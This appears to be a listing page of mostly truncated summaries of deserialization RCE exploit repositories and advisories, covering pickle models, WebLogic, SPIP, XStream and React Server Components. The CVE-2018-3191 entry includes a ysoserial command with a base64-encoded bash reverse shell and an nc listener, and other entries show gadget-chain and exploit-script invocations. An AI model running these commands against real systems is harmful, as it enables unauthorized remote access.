CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – RCE por deserialización de modelos Hugging Face Transformers Resumen Los modelos de Hugging Face guardados con torch.save utilizan la serialización pickle de Python, que es inherentemente insegura. Si un usuario descarga un modelo aparentemente legítimo de un repositorio, cargarl...

CVE-2025-64512-exploit

CVE-2025-64512 - Ejecución Remota de Código RCE en pdfminer.six 📋 Descripción Este repositorio contiene un exploit de prueba de concepto para CVE-2025-64512 , una vulnerabilidad crítica en pdfminer.six versiones anteriores a 20251107. La vulnerabilidad permite a un atacante lograr Ejecución Remot...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — RCE sin autenticación en SPIP Vulnerabilidad de ejecución remota de código sin autenticación en SPIP anterior a 4.2.1. El parámetro oubli en el formulario de restablecimiento de contraseña es vulnerable a la inyección de objetos PHP debido a una deserialización mal gestionada. Un...

heyserial

HEY SERIAL! 作者： Alyssa Rahman @ramen0x3f 创建时间： 2021-10-27 最后更新： 2021-12-02 博客： https://www.mandiant.com/resources/hunting-deserialization-exploits 有关此工具及研究过程的更多详情，请查看我们的博客！ 描述 以编程方式创建用于检测反序列化漏洞利用的狩猎规则，支持多种 关键词（例如 cmd.exe） 小工具链（例如 CommonsCollection） 对象类型（例如 ViewState、Java、Python Pickle、PHP） 编码方式（例...

CVE-2021-29505

复现过程 在IDEA中导入xstream组件的jar包，本次复现所使用的是CommonsCollections6链来进行利用，故导入commons-collections组件jar包,POC详见附件。 首先使用ysoserial启动一个恶意RMI服务端进行监听，并利用了CommonsCollections6链进行命令执行，如下所示： java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc"...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...

CVE-2019-2725

POC-EXP 本脚本针对CVE-2019-2725weblogic 反序列化RCE漏洞，使用前请修改VPS监听地址，并在运行时提交特定的URL即可完成测试 测试地址为：http://192.168.209.134:49163/async/AsyncResponseService 修改payload参数中的监听地址和端口后： python CVE-2019-2725.py 运行后输入http://ip:端口号/async/AsyncResponseService...

Jboss Application Server - Remote Code Execution

Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing a...

Gladinet CentreStack < 16.4.10315.56368 Use of Hard-coded Key Leads to Unauthenticated RCE

Gladinet CentreStack through 16.1.10296.56315 fixed in 16.4.10315.56368 has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors who know the machineKey to serialize a payload for server-side...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

CVE-2023-49070

ofbiz-xmlrpc-rce CVE-2023-49070 PoC para el RCE por deserialización pre-auth en XML-RPC de Apache OFBiz, registrado como CVE-2023-49070: una ruta de omisión de autenticación desbloquea el endpoint heredado /webtools/control/xmlrpc, que deserializa un objeto Java controlado por el atacante...

CVE-2025-55182-React2Shell

React2Shell React2Shell es una prueba de concepto PoC de explotación que demuestra una vulnerabilidad CRÍTICA de ejecución remota de código RCE en marcos web modernos que usan React Server Components RSC. Esta PoC ataca CVE-2025-55182 , una vulnerabilidad con CVSS 10.0 que permite a atacantes...

CVE-2025-53770-Scanner

🛡️ Escáner de Vulnerabilidades de SharePoint CVE-2025-53770 Una herramienta basada en Python para detectar instancias vulnerables de Microsoft SharePoint afectadas por CVE-2025-53770 , una vulnerabilidad de deserialización insegura desencadenada a través del endpoint ToolPane.aspx. El escáner enví...

AMFDSer-ngng

AMFDSer-ngng Un complemento de Burp Extender, que tomará objetos AMF deserializados y los codificará en XML usando la librería Xtream. Basado en el trabajo original de Khai Tran, todos lo aclamamos https://blog.netspi.com/ AMFDSer-ngng también utiliza parte del código fuente de Jmeter de Kenneth...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高级利用与硕士论文研究 -brightred 不可信数据反序列化 + React Server Components 中的原型污染 通过 Next.js Server Actions 实现未经认证的远程代码执行 受影响版本: React 19.0.0 - 19.2.0 · 补丁: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高级利用演示 - RCE基本命令、交互式Shell以及针对易受攻击的Next.js应用的多种攻击向量 描述 该仓库包含我关于 CVE-2025-55182 的 硕士论文...

CVE-2026-36239

CVE-2026-36239 CVE-2026-36239：PbootCMS v3.2.12 后台经过身份验证的远程代码执行（sitecopyright） 漏洞概述： 在 PbootCMS 后台管理界面的 sitecopyright 功能中发现了一个严重的远程代码执行（RCE）漏洞。具体而言，通过“页脚信息”字段提交的不可信输入在被处理和渲染到前端页面之前，未经过充分净化。经过身份验证的管理员（其会话可能被泄露或通过社工手段操控）可能会无意中插入恶意 PHP 代码。在前端页面渲染时，该代码会在服务器运行时上下文中执行，从而导致系统完全受损。 漏洞详情：...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — El protocolo Flight de React es la capa de serialización detrás de los Componentes de Servidor de React. CVE-2025-55182 explota una falla de deserialización en Flight para lograr RCE sin autenticación previa. Si tu aplicación usa RSC, es un flight risk. Kit ...

PT-2026-104185

Name of the Vulnerable Software and Affected Versions Apache Directory LDAP API versions 2.1.0 through 2.1.8 Description An issue exists involving the deserialization of untrusted data. A compromised LDAP server or a man-in-the-middle attacker can respond to a client's loadSchema subschema search...

React2P4IM0Nshell

React2P4IM0Nshell 💥Extension Tool para Auditoría y Explotación avanzada RCE/Source Leak/Dos CVE-2025-55182/83/84 para entornos Next.js y React Server Components RSC directamente desde tu navegador, con terminal linux incorporada en la propia extension para resibir cualquier reverse shell ❌ ⚡...

L4J-Vuln-Patch

AVISO Esta herramienta ya no es necesaria, Mojang ha lanzado su propio parche que debería cubrir a todos los afectados https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition ADVERTENCIA ESTE EXPLOIT AFECTA TANTO A CLIENTES COMO A SERVIDORES Actualmente hay ...